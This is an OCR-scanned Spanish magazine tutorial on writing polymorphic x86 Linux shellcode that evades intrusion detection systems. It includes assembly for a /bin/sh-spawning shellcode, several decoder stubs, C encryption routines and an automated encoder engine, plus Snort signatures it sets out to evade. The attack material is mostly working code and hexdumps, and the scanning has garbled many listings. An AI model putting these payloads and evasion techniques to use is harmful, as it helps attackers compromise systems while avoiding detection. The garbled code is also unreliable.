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Crear el shellcode

polimorfico

Michat Piotrowski

Grado de dificultad
o0

para los IDS.

C uando nos ponemos a atacar un servi-
cio de red, siempre existe el peligro de
que nos vean los sistemas de deteccion
de intrusiones (ingl. Intrusion Detection System
— IDS) y aunque nuestro ataque tenga éxito, el
administrador nos cazara enseguida y nos cor-
tara acceso a la red atacada. Asi sucede porque
la mayoria de los cédigos de la capa tiene una
estructura similar, utiliza las mismas llamadas de
sistema e instrucciones del ensamblador, y por lo
tanto, es facil concebir sus firmas universales.

Una solucion parcial al problema es la elabo-
racion del shellcode polimérfico, que carezca de
los rasgos caracteristicos de los cédigos tipicos
de la capa, desempefiando a la vez las mismas
funciones. Esto parecera dificil, pero en realidad,
cuando dominemos ya la elaboracion del shellco-
de como tal, no producira dificultad alguna. Igual
que en el articulo Optimizacion de los shellcodes
en Linux de hakin9 5/2005, nuestro taller sera
compuesto de una plataforma x86 de 32 bits, un
sistema Linux con un nucleo de la serie 2.4 (todos
los ejemplos funcionan también en los sistemas
con el nucleo de la serie 2.6) y de las herramien-
tas Netwide Assembler (nasm) y hexdump.

Para no tener que empezar desde cero,
emplearemos los tres programas anterior-
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(" En el articulo que aparecio en el ultimo numero de la revista
hakin9 hemos aprendido a crear y modificar el cédigo de la capa.
Ademas, nos hemos familiarizado con los problemas basicos
relacionados con su elaboracién, y con las técnicas que permiten
pasar por alto de estos problemas. Ahora llegaremos a saber qué
es el polimorfismo y como escribir los shellcodes indetectables

mente creados. Utilizaremos dos cddigos de
la capa, write4d.asm 'y shell4.asm. Sus coédigos
fuente se presentan en los Listados 1y 2,y su
modo de transformarse en cddigo maquina, en
las Figuras 1y 2. Para probar nuestros shell-
codes utilizaremos el programa test.c, que se
muestra en el Listado 3.

Cadigo desarrollado de la capa

Nuestro objetivo consiste en escribir un cédigo
que esté formado por dos elementos: las fun-
ciones del descifrador y el shellcode cifrado. La
regla general de su funcionamiento se basa en

-
En este articulo aprenderas...

» como escribir el cédigo polimoérfico de la
capa,

* coémo crear un programa que concede a los
shellcodes caracteristicas polimérficas.

Lo que deberias saber...

» utilizar el sistema Linux,
» deberias tener conocimientos basicos de pro-
gramacion en C y en el ensamblador.




Shellcode polimérfico

Polimorfismo Listado 1. El fichero write4.asm

La palabra polimorfismo viene de la lengua griega y significa formas multiples. En la infor-
matica el término ha sido aprovechado por la primera vez por un cracker bulgaro apodado
Dark Avenger, que en el afio 1992 ha creado el primer virus polimérfico de ordenador. En
general, la meta de emplear el cédigo polimorfico reside en evitar ser detectado por ser

1: BITS 32
2
3
4

de acorde con unos padrones, o sea, ciertas caracteristicas, que permiten identificar un 5: push 0x646c726f
6:
;
8

; write(1,"hello, world!",14)
push word 0x0a2l

codigo determinado. La tecnologia de buscar padrones se emplea ampliamente en los push 0x77202c6f
programas antivirus, asi como en los sistemas de deteccion de intrusiones. push 0x6c6c6568

El mecanismo por el cual el polimorfismo suele introducirse en el codigo de los
programas de ordenador es la encriptacion. Se cifra el codigo propio, que desempeia
las funciones clave del programa, agregandose al programa una diminuta funcion cu-

: mov ecx, esp
9: push byte 4

10: pop eax

11: push byte 1

yo unico destino consiste en descifrar y arrancar el cédigo original. 12: pop ebx
J 13: push byte 14
14: pop edx
15: int 0x80
Firmas 16:
El elemento clave de todos los sistemas de deteccién de intrusiones de red (ingl. Net- 17 7 exit(0)

work Intrusion Detection System — NIDS) es su base de firmas, o sea, un conjunto de 18: mov eax, ebx
19: =xor ebx, ebx

rasgos caracteristicos de un ataque, o un tipo de ataques. El sistema NIDS intercepta S0r ine %60
todos los paquetes enviados en la red y trata de confrontarlos con alguna de sus firmas, \_ )
iniciando el alarma en el momento en que se produzca la semejanza. Los sistemas mas
avanzados son ademas capaces de reconfigurar el sistema de cortafuegos de forma
que no deje pasar el trafico proveniente de la direccion IP que pertenece al intruso. Listado 2. El fichero shell4.asm
Aqui tenemos tres firmas de ejemplo para el programa Snort que reconocen la
mayoria de los shellcodes tipicos de los sistemas Linux. La primera detecta la funcién
setuid (los bytes Bo 17 cp 80), la segunda, la serie de caracteres /bin/sh, y la ter-
cera, la trampa Nop:

: BITS 32

1
2
3: ; setreuid(0, 0)
4 push byte 70
5: pop eax
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any 6
(msg:"SHELLCODE x86 setuid 0"; content:"|BO 17 CD 80|"; 7
8
9
0

xor ebx, ebx

XOor ecx, ecx
reference:arachnids, 436; classtype:system-call-detect;

51d:650; rev:8;) :
alert ip SEXTERNAL NET $SHELLCODE PORTS -> SHOME NET any 1

int 0x80

; execve ("/bin//sh",
(msg:"SHELLCODE Linux shellcode"; ["/bin//sh", NULL], NULL
content:"|90 90 90 E8 CO FF FF FF|/bin/sh"; 11: xor eax, eax

12: push eax
13: push 0x68732f2f
14: push 0x6e69622f

15: mov ebx, esp

reference:arachnids, 343; classtype:shellcode-detect;
s1d:652; rev:9;)
alert ip SEXTERNAL NET $SHELLCODE PORTS -> SHOME NET any

(msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa"; 16: push eax
classtype:shellcode-detect; sid:1394; rev:5;) 17: push ebx
18: mov ecx, esp
El cédigo polimorfico es mucho mas dificil de percibir por los sistemas IDS que el tipico 19: cdg
cédigo de la capa, pero hay que recordar que el polimorfismo no soluciona todos los 20: mov al, 11
problemas. La mayoria de los sistemas de deteccion de intrusiones contemporaneos 21: int 0x80
utiliza, ademas de las firmas, las técnicas mas o menos avanzadas que permiten - /
detectar también el codigo cifrado de la capa. Las técnicas mas populares incluyen
el descubrimiento de la cadena wop, la deteccién de las funciones del descifrador y la Listado 3. El fichero test.c
emulacion del cédigo.
J char shellcode[]="";
main() {
, - . int (*shell) ();

que después de arrancar el cédigo, Descifrador (int) s(hell :)s(hellcode;
y tras introducirlo en el buffer de un  La tarea del descifrador es descifrar shell();
programa susceptible, la funciéon del el cédigo de la capa. La forma de
descifrador descifra primero el co- hacerlo es libre, pero mas a menudo  \_ /
digo del shellcode y luego trasmite  se emplean cuatro métodos, que
alli la direccion. Figura 3 presenta utilizan las instrucciones basicas del codigo de la capa cifrado se
la estructura de un shellcode de- ensamblador: sustraen ciertos valores numé-
sarrollado, mientras que las etapas ricos,
seleccionadas de su operacion se e+ sustraccion (la instruccion sup) ¢ adicion (la instruccion add) — a los
muestran en la Figura 4. — de los respectivos bytes del respectivos bytes del cédigo de
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Programacion
el %Y

o ~/fshellcode X _:_LEJ}_I
[enc] § nasm write4d.asm

[enc] § hexdump -C writed

00000000 66 68 21 Oa 68 6f 72 6c 64 68 6f 2c 20 77 63 68 |fh!.horldho, whh|
00000010 65 6¢ 6o 89 el 6a 04 58 6a 01 Shb 6a De 5a cd 80 |ell..3j.¥3.[3.2..]
00000020 89 d8 31 db cd 80 | R P |

00000026

fenci$ i

Figura 1. El shellcode write4
£ vjshellcode R =

[enc] § nasw shell4d.asm

[enc] § hexdump -C shelld

00000000 6a 46 58 31 db 31 ¢9 cd 80 31 0 50 68 2£ 2£ 73 | jFXi.1...1.Ph//s|
00000010 68 68 2f 62 69 6e 89 e3 50 53 89 el 99 b0 Ob cd |hh/bin..P3...... |
00000020 80 1.1

00000021

fencl$ i

Figura 2. El shellcode shell4

la capa se afaden ciertos valores
numeéricos,

» diferencia simétrica (la instruc-
cioén xor) — los respectivos bytes
del cédigo de la capa se someten
a la operacién de diferencia si-
métrica, con el valor definido,

» transposicién (la instruccion mov)
— los bytes del cédigo de la capa
intercambian sus posiciones en-
tre si.

El Listado 4 presenta el cédigo fuen-
te del descifrador, que emplea la
instruccién de sustraccion. Tratemos
de seguir su funcionamiento. Empe-
zamos por la tercera linea del cédigo
fuente y del lugar marcado como
three. Alli se halla la instruccion ca11,
l que muda la ejecucion del programa

Figura 3. La estructura del codigo
polimérfico

Tras cargarse al buffer

la instruccion

G al lugar one y al mismo tiempo mete

en la pila el valor de la direccion de la
instruccion siguiente. Gracias a esto
la pila va a contener la direccion de
la instrucciéon marcada como four
que esta después del codigo del

Operacion de la funcion descifradora

-~
Listado 4. El fichero decode_
sub.asm

1: BITS 32

2:

3: jmp short three
4:

5: one:

6: pop esi

7: xor ecx, ecx
8: mov cl, 0

9:

10: two:

11: sub byte [esi + ecx - 1], 0
12: sub cl, 1

13: Jjnz two

14: Jjmp short four

15:

16: three:

17: call one

18:

19: four:

\_ /

descifrador: en nuestro caso, sera el
principio del shellcode cifrado.

En la sexta linea sacamos la
direcciéon de la pila y la fijamos en
el registro ESI, fijamos el registro
ECX en cero (linea 7) y colocamos
en él (linea 8) un numero que es de
un byte y que determina la longitud
del codigo cifrado de la capa. De
momento este numero es cero, pero
lo cambiaremos en el futuro. Entre
las lineas10 y 14 hay un bucle, que
se ejecutara tantas veces, cuantos
bytes forman parte del shellcode
cifrado. En las iteraciones siguien-
tes el numero fijado en el registro
ECX se ira disminuyendo por uno (la
instruccion sub c1, 1 en lalinea 12)
y el bucle terminara su operacion so-
lo cuando este valor baje a cero. La
instruccion 5nz two (Jump if Not Zero)

00000010 £6 eb 0S5 e8 ea ff f£f ff
00000018
[enc] § ndisasm decode_sub

00000000 EB11 jump short O0x13
00000DDZ  S5E pop =i
00000003 31C9 X0r ©CX,CxX

Operacién de shellcode 00000005  B100 mov el,0x0
00000007 BO6COEFF sub byte [si+0xe] ,0xff
0000000B [@OBOESO1 add [bx+si+0x1e2] ,al
000000DOF 75F6 jnz 0Ox7
00000011  EBOS jmp short 0x18
00000013 EBEAFF call 0x0
00000016 FF dh OxFF
00000017 FF dh OxFF

Figura 4. Las etapas de

[enc] $ I

* ~/shellcode :Eg‘
[enc] § nasw decode_sub.asm

[enc] § hexdump -C decode_sub

00000000 eb 11 S5e 31 c9 bl 80 6c Oe f£f 80 €9 01 75 |..*livaslucunss u|

funcionamiento del codigo
polimérfico

Figura 5. Compilacion del descifrador decode_sub.asm
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Shellcode polimérfico

Listado 5. El fichero encodel.c

#include <stdio.h>
char shellcode[] =

"\x89\xd8\x31\xdb\xcd\x80";
int main() {
char *encode;
int shellcode len, encode len;
int count, i, 1 = 16;
int offset = 1;
shellcode len = strlen(shellcode);

encode [count] = shellcode[count]
printf ("Encoded shellcode
printf ("char shellcode[] =\n");

if (1 >= 16)
if (i) printf("\"\n");
printf ("\t\"");
1=20;

++1;
printf ("\\x%02x",

printf ("\";\n");
free (encode) ;
return 0;

"\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
"\x65\x6c\x6c\x89\xel\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"

encode = (char *) malloc (shellcode_len);

for (count = 0; count < shellcode len; count++)

+ offset;

(%d bytes long):\n", strlen(encode));

for (i = 0; i < strlen(encode); ++i

((unsigned char *)encode) [i]);

{

[enc] § goo -o encodel encodel.c

[enc] § ./encodel
Encoded shellcode (38 bytes long):
char shellcode[] =

™, x8al xd9\ x32\ xde xeel x81";
fenc]$ fi

"X E7Y X699V %22 x0b\ x 69\ x70\ x 73\ x6d\ 654 x 69\ x70\ x2d\ x21\ x78\ x69\ x 69"
™ x 66\ x6d) x6d) x8al\ xe2) x6b\ x05) x59\ x6b\ x02\ x5ch x6b\ x0O£h x5b\ xcel x81"

Figura 6. Compilacién y funcionamiento del programa encode1.c

char shellcode[] =

//decoder - decode_sub

"\xf6\xeb\x05\xe8\xea\xff\xff\xff"

//encoded shellcode - writed

"\x8a\xd9\x32\xdc\xce\x81";
main() {

int (*shell) ();

(int) shell = shellcode;

shell();

g

Listado 6. La versién modificada del fichero test.c

"\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75"

"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"

/

ird saltando al inicio del bucle marca-
do como two hasta que el resultado
de la sustraccién no sea cero.
Lalinea 11 contiene la propia ins-
truccién que descifra el codigo de la
capa: sustrae cero de los sucesivos

bytes del shellcode (mirando desde
el final). Claro, la sustraccion del ce-
ro no tiene sentido como tal, pero de
esto nos ocuparemos a continuacion
del articulo. Cuando todo el cédigo
recupera su forma original, el des-

cifrador salta (linea 14) a su inicio,
lo que provoca la ejecucién de las
instrucciones alli presentes.

La compilacién del cédigo del des-
cifrador corre de forma idéntica que la
compilacion del codigo de la capa, lo
que se ha demostrado en la Figura 5.
Como vemos, el coédigo contiene
dos bytes cero, que corresponden
a los ceros de las lineas 8 y 11 del
cédigo fuente del programa decode
sub.asm. Los cambiaremos por los
valores correctos, diferentes de cero,
cuando juntemos el descifrador con el
cédigo cifrado de la capa.

Cifrando el shellcode

Contamos ya con la funcién des-
cifradora, nos falta todavia el she-
llcode cifrado. También tenemos
los shellcodes como tales: write4
y shell4. De modo que debemos
transformarlos a una forma que co-
labore con el descifrador. Podriamos
hacerlo manualmente, anadiendo
a cada byte un valor escogido, pero
tal solucion es poco eficaz, ademas
de incomoda a largo plazo. En cam-
bio, nos ayudaremos de un progra-
ma nuevo que se llama encodel.c
y se presenta en el Listado 5.

El programa afiade a cada byte de
la variable caracter shelicode el valor
determinado en la variable offset. En
este caso modificamos el codigo de la
capa write4, aumentando cada byte
por 1. La compilacion del programa
y el resultado de tal operacion los
vemos en la Figura 6. Si compara-
mos ahora el shellcode original con
el cifrado, notaremos que de verdad
difieren por 1. Ademas, el cadigo que
acabamos de obtener como resultado
de la operacion del programa encode?
no contiene los bytes cero (ox00),
y por lo tanto puede inyectarse en un
programa susceptible a la atestadura
del buffer.

Reunimos el descifrador

con el cédigo

Ahora disponemos del descifrador
y del cddigo cifrado. Sdélo nos
queda juntarlos y comprobar, si en
conjunto marcha como lo espera-
mos. Escribimos todo en la varia-
ble shelicode del programa test.c
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fshellcode

[enc] § cat test.c
char shellcode[] =

//decoder - decode_sub

//encoded shellcode - writed

™y x8al xd9\ x32\ xde xeel x31";
maini)

int (*shell) ():
(int)shell = shellcode:
shell():

}

[enc] § goo -0 test test.c

[enc]§ ./test

hello, world!

[enc] §

myxebl ®x 11\ x5e\ x3 1\ xe9) xb ®»80\ x6c\ x0e' xf x50\ xe9Y x01\ x75"
™y x£6Y xeb x05\ xe8\ xea\ xf£\ x££\ x££

"y x67Vx69) x22\ x0b) k69 x 70V x 73V x6d x65\ x 694 x 70\ x2d) x21\ x78\ x 69\ x65"
™y x66% x6d) x6d) xBal xe2\ x6b) x054 x59 x6bY x024 x5c\ x6bh xO£) x5hbl xcel x51"

=10l x|

Figura 7. Examinamos el funcionamiento del cédigo polimérfico

a N\
Listado 7. El fichero decode _

mov.asm
BITS 32

jmp short three
one:

pop esi

XOor eax, eax

@ oy U W N

xor ebx, ebx
9: =xor ecx, ecx
10: mov cl, 0
11:

12: two:

13: mov byte al,
14: mov byte bl,
15: mov byte

[esi + ecx - 1]
[esi + ecx - 2]
[esi + ecx - 1], bl
16: mov byte
17: sub cl, 2
18: Jjnz two

[esi + ecx - 2], al

19: Jjmp short four
20:

21: three:

22: call one

23:

24: four:

.

(Listado 6), pero los dos bytes cero
que se encontraban en el cédigo del
descifrador los hemos cambiado
por los valores \x2¢ (el largo del
caodigo cifrado es de 38 bytes, 26 en
el sistema hexadecimal) y \xo01 (para
recibir el codigo original de la capa
debemos reducir el valor de cada
byte por 1) respectivamente. Como
observamos en la Figura 7, nuestro
nuevo cédigo polimérfico de la capa
funciona correctamente: el shellco-
de original se descifra y escribe su
mensaje en la salida estandar.

hakin9 N° 6/2005

Construimos el motor

Ya sabemos dar los rasgos polimor-
ficos a los shellcodes, ocultandolos
gracias a ello para los sistemas de
deteccidn de intrusiones. Intentemos,
entonces, escribir un programa sen-
cillo que permita automatizar todo
el proceso: en su entrada reciba el
shellcode en la version original, lo cifre
y agregue el descifrador apropiado.

Empezamos creando los
descifradores que  emplearan
las instrucciones add, xor Y mow.
Los llamaremos decode _ add,
decode _ xor Y decode _mov respec-
tivamente. Puesto que los cédigos
fuente de las funciones decode add
y decode xor difieren respecto
a la decode _sub, que se ha creado
antes, solo por una instruccion en
la linea 11, no los fijaremos en toda
su extension. Basta que la linea 11
se cambie por add byte [esi + ecx
- 17, o(en el caso de decode _add)
O xor byte [esi + ecx - 1], 0 (para
decode _xor). El cédigo fuente de
decode _mov (publicado en el Lista-
do 7) es un poco distinto y emplea
cuatro instrucciones mov, que hacen
cada dos bytes vecinos intercam-
biar sus posiciones. Compilamos
los cédigos, obteniendo como
resultado los programas que se
exhiben en la Figura 8. Luego los
transformamos a la forma de las
variables caréacter e introducimos
en el fichero fuente de nuestro mo-
tor encodee.c (Listado 8).

-/shellcode

[enc] § nasm decode_add.asw
[enc] § nasm decode_xor.asm
[enc] § nasm decode_mov.asw
[enc]§ hexduwnp -C decode_add

00000000
00000010
00000018
[enc]§ hexdump -C decode_xor

00000000 eb 11 S5e 31 c¢9 bl 00 80 74
00000010 £6 eb 05 e8 ea ff f£f ff
00000018

[enc] § hexdump -C decode_mov

00000000 eb 20 Se 31 cO0 31 db 31 c8
00000010 5c Oe fe 88 5c Oe f£ff 83 44
00000020 eb 05 eS8 db ff f£ff £f
00000027

renc1$ fi

eb 11 S5e 31 ¢S bl 00 80 44
f6 eb 05 &8 ea ff ff ff

=101

£f 00 80 €9 01 75 |..*1....D...... ul
A |

£f 00 80 &9 01 75 |..*1....Ceuunn. u|

00 Sa 44 Oe ££ 8a |.
fe 80 e9 02 75 eb  [Y...V...Duunn. u. |

Figura 8. Los descifradores add, xor y mov

Listado 8. Definicion de los descifradores

char decode_sub[] =

"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75"

"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_add[] =

"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75"

"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_xor[] =

"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75"

"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode mov([] =

"\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a"
"\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb"

"\xeb\x05\xe8\xdb\xfE\xfE\xfE";
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Programacion

Listado 9. Las funciones de enriptacion

char *encode_sub (char *scode, int offset
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode len);
for (i = 0; i < scode len; i++
ecode[i] = scode[i] + offset;
if (ecode[i] == "\0')
free (ecode) ;
ecode = NULL;
break;

return ecode;

char *encode_add(char *scode, int offset
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode len);
for (i = 0; i < scode len; i++
ecode[i] = scode[i] - offset;
if (ecode[i] == "\0')
free (ecode) ;
ecode = NULL;
break;

return ecode;

char *encode_xor (char *scode, int offset
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode len);
for (i = 0; i < scode len; i++
ecode[i] = scode[i] ” offset;
if (ecode[i] == "\0')
free (ecode) ;
ecode = NULL;
break;

return ecode;

char *encode_mov (char *scode)
char *ecode = NULL;
int scode_len = strlen(scode);
int ecode_len = scode_len;
int i;
if ((i = scode len % 2) > 0)
ecode_len+t+;
ecode = (char *) malloc (ecode_len);
for (i = 0; i < scode len; i += 2)

if (1 + 1 == scode_len)
ecode[i] = 0x90;
else
ecode[i] = scode[i + 1];
ecode[i + 1] = scode[i];

return ecode;
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Funciones de encriptacion
Ahora tenemos que crear cuatro fun-
ciones que descarguen el shellcode
en su forma original y lo cifren. Las
llamaremos: encode sub, encode _
add, encode xor Y encode mov
respectivamente. Las tres primeras
tomaran por argumento un indicador
del shellcode que queremos cifrar
y una clave en la forma del valor
del desplazamiento, y devolveran el
indicador del cédigo que acabe de
crearse. Si en curso de la encripta-
cion en el shellcode aparece un byte
cero, las funciones abortaran su fun-
cionamiento y devolveran NULL.

Es un poco distinta la funcion
encode _mov, que admite solo un ar-
gumento (shellcode) e intercambia
en él las posiciones de cada dos
bytes vecinos. Para evitar errores
relacionados con la modificacion de
un codigo de numero impar de los
bytes, la funciéon examina el largo del
shellcode y si hace falta, intercambia
el ultimo byte con la instruccion NOP
(0x90). Gracias a ello, el largo del co-
digo siempre sera una multiplicidad
del 2. Todas las cuatro funciones las
presenta el Listado 9.

Las funciones que retinen

el descifrador con el codigo
cifrado

Para juntar el cédigo del descifrador
con el shellcode cifrado empleamos
también una de las cuatro funcio-
nes, que $SON. add sub decoder,
add _ add _ decoder, add _ xor _ decoder
Yy add _mov _ decoder. Cada una modi-
fica el descifrador en una variable co-
rrespondiente de forma que el conjunto
de ceros presentes en éste intercam-
bie el largo del codigo cifrado y el valor
del desplazamiento. Luego reune el
descifrador con el codigo cifrado que
se ha descargado como argumento,
y devuelve después el indicador al c6-
digo listo y polimorfico. El Listado 10
presenta una de estas funciones.
Las demas forman parte del fichero
encodee.c publicado en hakin9.live.

Funciones complementarias

y la funcién principal
Necesitamos aun unas funciones
complementarias, que haran mas facil
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Programacion

Listado 10. Una de las funciones que retnen el descifrador con el
codigo cifrado

char *add sub decoder (char *ecode, int offset)
char *pcode = NULL;
int ecode_len = strlen(ecode);
int decode sub len;
decode_sub[6] = ecode len;
decode_sub[11] = offset;
decode_sub_len = strlen(decode sub);
pcode = (char *) malloc(decode_sub_len + ecode len);
memcpy (pcode, decode_sub, decode_sub_len);
memcpy (pcode + decode_sub len, ecode, ecode len);

return pcode;

~

shellcode
[enc] § gee -o encodee encodee.c

./encodee
./encodee -i file [-d SUB|ADD|XOR|MOV] [-o offset
-i input file with original shellcode
-d decoder type (SUB, ADD, XOR, MOV)
-0 offset (1 - 255)
-h help
[enc]§ ./encodee -i write4 -d ADD -o 15
Original shellcode (38 bytes long):
char shellcode[] =
M xEEV K68\ 21\ x0a\ X683\ 6LV X T2V X6\ X644\ x 68\ x 6L\ X2\ X204\ 7T\ X 68\ x68"
™ x65\ x6c\ x6c\ X839\ xe 1l x6a)\ x04\ x58) x6al x01Y x5h\ x6a\ x0e\ x5a) xcd\ x80"
™y, x89% xd8) x3 1% xdb\ xed x80";

[enc] §

Encoded shellcode (38 bytes long):

char shellcode[] =
My x5V x5O\ 12\ xfh\ 59\ x 604 x 63 x5d) x55\ x59\ x60Y x1d\ x11\ x684 x59\ x59"
™ x56% x5d\ x5d\ x7al xd2\ xSbh x£5) x49\ x5b\ x£2\ x4c\ xShb\ x££\ x4b\ xbe\ x71"
™ x7al xc9\ x22 \ xcel xbel x71";

Polymorphic shellcode (62 bytes long):

char shellcode[] =
"\ xeb\ x11\ x5e\ x31)\ xc9\ xb 11 x2 6\ X80\ x44\ x0e\ x££\ x0£\ x80\ xed) x01\ x75"
™ x£6Y% xeb x05\ xe8\ xea\ x££\ x££\ x££ x57\ x59 x 12 x£fh x59) x 604 x 63 x5d"
"™ x554 k59 x 604 x1d) x114 x 684 k594 x 594 k564 x5d) x5d\ x7a\ xd2\ xSh x£5) x49"
™\, xShY x£2) x4c) xSb\ x££\ x4b\ xbe\ x 71\ x7a\ xc9\ x22) xcch xbe\ x71";

[enc] § l

=10l

Sobre el autor

Michat Piotrowski es licenciado en in-
formatica y un administrador de redes
y sistemas con experiencia. Trabajo
mas de tres afios como inspector de
seguridad en una institucion que rendia
servicios para la oficina superior de
certificacion en la estructura polaca de
la PKI. Actualmente es especialista en
la seguridad teleinformatica en una de
las instituciones financieras mas gran-
des de Polonia. Pasa sus ratos libres
programando, ademas se dedica a la
criptografia.

Figura 9. Compilamos el programa encodee y creamos un shellcode de
ejemplo

shellcode

[enc] § cac test.c

char shellcode[] =
"y xebl x11) x5e x3 1) xe9) xb1\ x2 64 x80% x44\ x0eh x££1 x0£) x80% xe9\ x01\ x75"
"\ x£6\ xeb) x05\ xe8) xeal x££\ x££ x££\ x57\ k591 x 12\ x£b\ x59\ x 60\ x 63\ x54"
™ k554 k59 x 604 x1d) x 11\ x 684 x59Y x59% x56% x5d} x5d) x7al xd2\ xShh x£5% x49"
" xSh xE£2% x4ch x5\ x££\ x4bh xbe\ x 71\ x7al xe9\ x22\ xoch xbe\ x71";

maini)

int (*shell) ():
{int)shell = shellcode:
shelli):

}

[enc] $§ geec -0 test test.c

[enc]§ ./test

hella, world!

[enc] § I

=10lx]

Figura 10. Probamos el shellcode que acaba de generarse

nuestro trabajo con el programa. La
mas importante es la get _shellcode,
que descarga el codigo original de la
capa del fichero indicado como su
argumento. La segunda, print _ code,
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visualiza el codigo de la capa en for-
ma formateada, preparada para fijarla
en el exploit o en el programa test.c.
Dos Ultimas funciones son usage
Y getoffset : la primera visualiza el

www.hakin9.org

-

el modo de iniciarse del programa, la
otra sortea un numero que se utiliza
como desplazamiento (si no lo indica
el usuario). El cddigo de estas funcio-
nes se expone en el fichero encodee.c
situado en hakin9.live.

Reunimos todos los elementos
del programa en un mismo conjunto
a través de la funcion nain (véase el
fichero encodee.c en hakin9.live).
Es muy sencilla: primero verifica los
parametros, con los se ha iniciado el
programa, luego descarga el she-
llcode del fichero sefalado, lo cifra
con la funcion escogida, le afiade el
descodificador y escribe todo en la
salida estandar.

Probamos el programa

Ahora debemos probar si nuestro pro-
grama funciona como deberia. Para
conseguirlo, basandonos en el cédigo
write4, creamos un shellcode cifrado
por medio de la instruccion add cuyo
desplazamiento sea igual a 15 (Figu-
ra 9). A continuacion, o pegamos en
el programa test y comprobamos si
funciona correctamente (Figura 10). ®

g
En la Red

*  http://www.orkspace.net/software/
libShellCode/index.php — pagina de
inicio del proyecto libShellCode,

*  http://www.ktwo.ca/security.html|
— pagina de inicio del autor de AD-
Mmutate,

*  http://www.phiral.com/— pagina de
inicio del autor del programa diss-
embler.




